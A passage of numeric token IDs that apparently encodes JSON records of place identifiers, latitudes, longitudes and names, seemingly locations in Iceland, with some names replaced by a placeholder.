29906, 29945, 29900, 29953, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29941, 29941, 29900, 29955, 29892, 376, 978, 1115, 376, 29950, 4758, 30189, 279, 1049, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29945, 29946, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29929, 29945, 29953, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29900, 29946, 29953, 29955, 29892, 376, 978, 1115, 376, 29963, 271, 1983, 29888, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29953, 29945, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29929, 29945, 29896, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29945, 29900, 29946, 29947, 29892, 376, 978, 1115, 376, 29963, 10096, 30189, 440, 271, 8723, 336, 348, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29953, 29955, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29896, 29955, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29906, 29896, 29955, 29892, 376, 978, 1115, 376, 29967, 14628, 352, 6391, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29955, 29946, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29906, 29947, 29906, 29892, 376, 978, 1115, 376, 29968, 261, 1847, 29293, 12382, 645, 448, 7260, 5311, 279, 30189, 4668, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29955, 29946, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29900, 29946, 29941, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29900, 29896, 29947, 29953, 29892, 376, 978, 1115, 376, 2697, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29955, 29953, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29945, 29947, 29896, 29929, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29945, 29929, 29947, 29955, 29892, 376, 978, 1115, 376, 30452, 30030, 21154, 369, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29955, 29955, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29945, 29955, 29896, 29906, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29896, 29896, 29896, 29892, 376, 978, 1115, 376, 29950, 4064, 29997, 865, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29947, 29900, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29929, 29929, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29947, 29953, 29929, 29892, 376, 978, 1115, 376, 29950, 7381, 2142, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29929, 29941, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29953, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29945, 29953, 29906, 29906, 29892, 376, 978, 1115, 376, 29950, 369, 485, 514, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29929, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29941, 29941, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29929, 29947, 29941, 29892, 376, 978, 1115, 376, 29903, 392, 29890, 30030, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29955, 29953, 29945, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29953, 29941, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29953, 29941, 29900, 29929, 29892, 376, 978, 1115, 376, 30178, 433, 29888, 4668, 24900, 30189, 332, 448, 323, 11054, 29997, 15524, 10758, 13, 1678, 8853, 333, 1115, 29871, 29955, 29955, 29941, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29953, 29947, 29946, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29906, 29953, 29947, 29896, 29892, 376, 978, 1115, 376, 29933, 324, 686, 279, 9584, 29895, 448, 3201, 30189, 1191, 309, 10758, 13, 1678, 8853, 333, 1115, 29871, 29955, 29955, 29945, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29945, 29941, 29945, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29941, 29945, 29906, 29892, 376, 978, 1115, 376, 29903, 335, 29880, 1137, 24900, 30189, 332, 448, 379, 2142, 24156, 29888, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29929, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29900, 29953, 29892, 376, 978, 1115, 376, 22677, 4403, 284, 2987, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29941, 29906, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29896, 29896, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29953, 29953, 29906, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29946, 29945, 29896, 29945, 29892, 376, 978, 1115, 376, 29943, 6727, 29894, 1340, 30189, 16099, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29941, 29941, 29941, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29896, 29953, 29947, 29896, 29892, 376, 978, 1115, 376, 29950, 1929, 593, 2559, 375, 3946, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29896, 29945, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29953, 29955, 29953, 29892, 376, 978, 1115, 376, 29950, 29894, 812, 27283, 845, 29926, 30030, 23843, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29946, 29906, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29945, 29929, 29945, 29892, 376, 978, 1115, 376, 29928, 276, 1984, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29955, 29941, 29945, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29900, 29955, 29941, 29892, 376, 978, 1115, 376, 29940, 30052, 29926, 23670, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29906, 29896, 29953, 29892, 376, 978, 1115, 376, 22988, 29887, 4758, 1182, 29926, 15827, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29900, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29955, 29955, 29945, 29892, 376, 978, 1115, 376, 29903, 29876, 30078, 29888, 10071, 12382, 29895, 913, 10758, 13, 1678, 8853, 333, 1115, 29871, 29929, 29900, 29896, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29941, 29953, 29929, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29900, 29896, 29929, 29892, 376, 978, 1115, 376, 29909, 30189, 284, 9584, 29895, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29896, 29900, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29947, 29947, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29941, 29953, 29953, 29892, 376, 978, 1115, 376, 1433, 29876, 2753, 267, 29122, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29896, 29906, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29947, 29900, 29955, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29947, 29945, 29945, 29906, 29892, 376, 978, 1115, 376, 29924, 638, 29880, 23670, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29953, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29900, 29906, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29906, 29906, 29929, 29953, 29892, 376, 978, 1115, 376, 29934, 1032, 29895, 8931, 267, 2634, 329, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29953, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29953, 29947, 29941, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29946, 29906, 29941, 29945, 29892, 376, 978, 1115, 376, 3338, 513, 485, 23576, 332, 29122, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29953, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29945, 29929, 29945, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29941, 29946, 29941, 29953, 29892, 376, 978, 1115, 376, 29943, 342, 29293, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29946, 29945, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29929, 29945, 29929, 29892, 376, 978, 1115, 376, 29903, 295, 29894, 468, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29947, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29947, 29955, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29946, 29953, 29941, 29941, 29892, 376, 978, 1115, 376, 30452, 29878, 996, 29879, 492, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29929, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29896, 29947, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29946, 29906, 29946, 29892, 376, 978, 1115, 376, 29950, 514, 275, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29941, 29929, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29945, 29955, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29900, 29953, 29941, 29941, 29892, 376, 978, 1115, 376, 797, 29887, 5471, 29888, 4668, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29946, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29955, 29929, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29900, 29906, 29929, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29946, 29947, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29953, 29906, 29896, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29945, 29945, 29929, 29941, 29892, 376, 978, 1115, 376, 29903, 4167, 446, 29875, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29955, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29896, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29953, 29953, 29892, 376, 978, 1115, 376, 29909, 29895, 1929, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29955, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29953, 29953, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29941, 29906, 29929, 29892, 376, 978, 1115, 376, 29933, 5081, 29881, 1338, 29976, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29955, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29947, 29955, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29896, 29906, 29892, 376, 978, 1115, 376, 29911, 29983, 30189, 1278, 279, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29896, 29900, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29953, 29953, 29955, 29892, 376, 978, 1115, 376, 29968, 12429, 2753, 267, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29929, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29896, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29946, 29946, 29947, 29892, 376, 978, 1115, 376, 29924, 359, 29888, 10071, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29945, 29929, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29946, 29947, 29896, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29900, 29906, 29941, 29892, 376, 978, 1115, 376, 29954, 29926, 16341, 557, 1984, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29953, 29955, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29946, 29955, 29945, 29945, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29929, 29953, 29900, 29941, 29892, 376, 978, 1115, 376, 29950, 2142, 24156, 29888, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29947, 29946, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29906, 29906, 29896, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29947, 29929, 29946, 29892, 376, 978, 1115, 376, 29950, 336, 348, 3844, 30030, 492, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29947, 29947, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29929, 29945, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29953, 29941, 29945, 29929, 29892, 376, 978, 1115, 376, 29968, 324, 1569, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29941, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29946, 29955, 29929, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29946, 29947, 29900, 29955, 29892, 376, 978, 1115, 376, 29943, 6830, 30189, 3054, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29941, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29941, 29953, 29953, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29945, 29900, 29941, 29941, 29892, 376, 978, 1115, 376, 29933, 30030, 1049, 845, 29997, 29888, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29946, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29953, 29953, 29945, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29896, 29906, 29953, 29892, 376, 978, 1115, 376, 29968, 22991, 1929, 2142, 4758, 30189, 279, 1182, 30030, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29946, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29900, 29929, 29945, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29947, 29953, 29946, 29929, 29892, 376, 978, 1115, 376, 29963, 271, 29876, 744, 29875, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29945, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29947, 29953, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29947, 29900, 29947, 29946, 29892, 376, 978, 1115, 376, 855, 4916, 5391, 29873, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29945, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29941, 29896, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29945, 29941, 29906, 29947, 29892, 376, 978, 1115, 376, 29950, 2142, 1295, 29888, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29929, 29947, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29955, 29896, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29945, 29896, 29945, 29946, 29892, 376, 978, 1115, 376, 12432, 1131, 370, 22218, 1335, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29900, 29929, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29947, 29929, 29929, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29900, 29945, 29955, 29953, 29892, 376, 978, 1115, 376, 29950, 14339, 485, 1340, 30189, 29884, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29896, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29900, 29945, 29947, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29955, 29941, 29929, 29953, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29896, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29900, 29953, 29953, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29906, 29955, 29955, 29892, 376, 978, 1115, 376, 29931, 1165, 3054, 29881, 1338, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29906, 29906, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29896, 29955, 29906, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29955, 29906, 29896, 29896, 29892, 376, 978, 1115, 376, 29968, 280, 26056, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29906, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29946, 29946, 29946, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29955, 29896, 29900, 29953, 29892, 376, 978, 1115, 376, 29950, 2464, 11512, 1715, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29945, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29945, 29945, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29953, 29900, 29947, 29947, 29892, 376, 978, 1115, 376, 29968, 13650, 845, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29953, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29953, 29946, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29906, 29946, 29953, 29896, 29892, 376, 978, 1115, 376, 29950, 12429, 8083, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29955, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29906, 29955, 29955, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29900, 29906, 29941, 29946, 29892, 376, 978, 1115, 376, 29954, 453, 5427, 30189, 314, 295, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29955, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29945, 29906, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29947, 29941, 29941, 29892, 376, 978, 1115, 376, 30452, 29878, 29997, 808, 352, 16702, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29941, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29955, 29906, 29946, 29892, 376, 12957, 1115, 448, 29906, 29896, 29889, 29941, 29906, 29929, 29892, 376, 978, 1115, 376, 2369, 29876, 728, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29946, 29955, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29945, 29900, 29941, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29896, 29906, 29929, 29896, 29892, 376, 978, 1115, 376, 7789, 292, 19177, 1516, 29888, 4758, 30189, 279, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29945, 29941, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29929, 29946, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29946, 29941, 29953, 29946, 29892, 376, 978, 1115, 376, 29954, 331, 29880, 1137, 4293, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29953, 29941, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29947, 29900, 29947, 29892, 376, 12957, 1115, 448, 29906, 29941, 29889, 29941, 29955, 29941, 29941, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29953, 29945, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29946, 29946, 29929, 29892, 376, 12957, 1115, 448, 29906, 29906, 29889, 29953, 29947, 29896, 29955, 29892, 376, 978, 1115, 376, 30094, 29887, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29906, 29900, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29946, 29946, 29946, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29947, 29900, 29946, 29892, 376, 978, 1115, 376, 29954, 585, 2039, 29885, 30052, 374, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29941, 29945, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29946, 29953, 29955, 29953, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29953, 29929, 29947, 29955, 29892, 376, 978, 1115, 376, 30094, 29916, 28486, 1338, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29941, 29929, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29896, 29946, 29941, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29906, 29896, 29953, 29929, 29892, 376, 978, 1115, 376, 29924, 30052, 9046, 1983, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29896, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29953, 29953, 29947, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29941, 29947, 29941, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29906, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29947, 29900, 29896, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29900, 29896, 29947, 29953, 29892, 376, 978, 1115, 376, 30452, 369, 3054, 29888, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29941, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29900, 29947, 29945, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29953, 29929, 29946, 29945, 29892, 376, 978, 1115, 376, 29963, 271, 1983, 808, 279, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29946, 29906, 29953, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29945, 29929, 29906, 29892, 376, 978, 1115, 376, 29968, 2741, 557, 2559, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29947, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29929, 29955, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29945, 29900, 29941, 29906, 29892, 376, 978, 1115, 376, 8754, 29926, 29980, 1372, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29946, 29929, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29941, 29955, 29946, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29896, 29900, 29945, 29955, 29892, 376, 978, 1115, 376, 29950, 29980, 3333, 392, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29945, 29953, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29929, 29945, 29896, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29946, 29945, 29929, 29941, 29892, 376, 978, 1115, 376, 29950, 6542, 870, 279, 5173, 30189, 801, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29945, 29955, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29896, 29941, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29929, 29929, 29896, 29892, 376, 978, 1115, 376, 29963, 23576, 332, 808, 279, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29953, 29946, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29955, 29896, 29896, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29906, 29955, 29947, 29945, 29892, 376, 978, 1115, 376, 855, 2142, 29976, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29953, 29945, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29941, 29896, 29955, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29900, 29906, 29941, 29892, 376, 978, 1115, 376, 29950, 5471, 845, 4316, 1056, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29953, 29945, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29900, 29906, 29906, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29947, 29896, 29941, 29892, 376, 978, 1115, 376, 29950, 29948, 30189, 1144, 29888, 24900, 30189, 332, 10758, 13, 1678, 426, 13, 4706, 376, 333, 1115, 29871, 29941, 29941, 29953, 29953, 29896, 29892, 13, 4706, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29946, 29906, 29892, 13, 4706, 376, 12957, 1115, 448, 29896, 29947, 29889, 29945, 29906, 29900, 29892, 13, 4706, 376, 978, 1115, 9872, 5813, 28341, 13, 1678, 2981, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29955, 29945, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29906, 29929, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29900, 29955, 29906, 29896, 29892, 376, 978, 1115, 376, 29903, 335, 29880, 1137, 4758, 30189, 279, 29122, 332, 10758, 13, 1678, 426, 13, 4706, 376, 333, 1115, 29871, 29941, 29941, 29955, 29945, 29896, 29892, 13, 4706, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29955, 29947, 29892, 13, 4706, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29955, 29945, 29892, 13, 4706, 376, 978, 1115, 9872, 5813, 28341, 13, 1678, 2981, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29900, 29955, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29906, 29953, 29946, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29941, 29941, 29906, 29955, 29892, 376, 978, 1115, 376, 29943, 351, 2429, 284, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29900, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29953, 29947, 29906, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29941, 29941, 29929, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29900, 29947, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29953, 29941, 29955, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29929, 29896, 29947, 29955, 29892, 376, 978, 1115, 376, 29949, 1289, 29879, 808, 279, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29896, 29946, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29900, 29896, 29929, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29906, 29906, 29941, 29955, 29892, 376, 978, 1115, 376, 